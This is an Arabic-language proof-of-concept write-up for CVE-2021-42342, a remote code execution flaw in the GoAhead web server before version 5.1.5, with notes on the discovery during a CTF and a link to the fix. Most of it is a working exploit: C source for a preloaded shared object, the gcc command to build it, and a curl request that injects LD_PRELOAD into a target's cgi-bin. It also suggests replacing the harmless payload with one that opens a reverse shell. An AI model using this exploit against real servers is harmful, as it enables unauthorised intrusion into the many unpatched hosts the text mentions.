
PoC صغير لثغرة RCE الأخيرة التي تم اكتشافها في خادم الويب Goahead قبل الإصدار 5.1.5.
تم اكتشاف ثغرة حديثة في خادم الويب Goahead بواسطة William Bowling تؤدي إلى تنفيذ أوامر عن بُعد (RCE) على الخادم المُختَرق.
الخلل موجود في الإصدارات السابقة للإصدار 5.1.5، والتي وفقًا لـ Shodan تغطي حوالي 2.8 مليون خادم على الإنترنت.
CVE متاح الآن [https://nvd.nist.gov/vuln/detail/CVE-2021-42342]
ينتج RCE عن حقيقة أنه إذا تم تمكين مرشح رفع الملفات، فيمكن للمستخدم رفع الملفات وفي نفس الوقت تعيين متغيرات النموذج.
تتحول هذه المتغيرات إلى متغيرات بيئة لنظام التشغيل. هذه ليست مشكلة عادةً، ففي حالات رفع النماذج العادية، تُسبق المتغيرات البيئية بـ CGI_ (الافتراضي). لكن إذا تم تمكين مرشح رفع الملفات، فإن خطأ في الكود يؤدي إلى حذف هذه البادئة = RCE فوري عبر المتغيرات البيئية + الملف.
ما يلي سيطبع فقط "Hello World" على الخادم البعيد ولكنه يمكن أن يكون أي شيء حقًا:
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
static void before_main(void) __attribute__((constructor));
static void before_main(void)
{
write(1, "Hello World!\n", 14);
}
قم بالتجميع باستخدام:
gcc -fPIC -shared -o poc.so poc.c -nostartfiles
الآن نحن مستعدون لإرسال ملفنا إلى الخادم. يمكن القيام بذلك باستخدام curl:
curl -X POST http://[TARGET]/cgi-bin/ -F "LD_PRELOAD=/proc/self/fd/0" -F file='@poc.so;encoder=base64'
غيّر [TARGET] إلى اسم النطاق/عنوان IP للخادم الهدف.
ربما سترى خطأ من الخادم، لكن جرب مع كائن مشترك آخر يقوم مثلاً باستدعاء يعود إليك بقشرة جميلة 👍
تم إصدار الإصلاح مع goahead 5.1.5 هنا: [https://github.com/embedthis/goahead/issues/305]
تم العثور على المشكلة في البداية بواسطة Willian Bowling من فريق Perfect Blue CTF. خلال pbCTF 2021، كان تحديًا هو الإصدار الموجود آنذاك (5.1.4) من خادم goahead، ومعًا مع فريق Kalmarunionen CTF صادفنا نفس مشكلة اليوم الصفري في الكود (لم يتم الكشف عنها للمؤلفين بعد).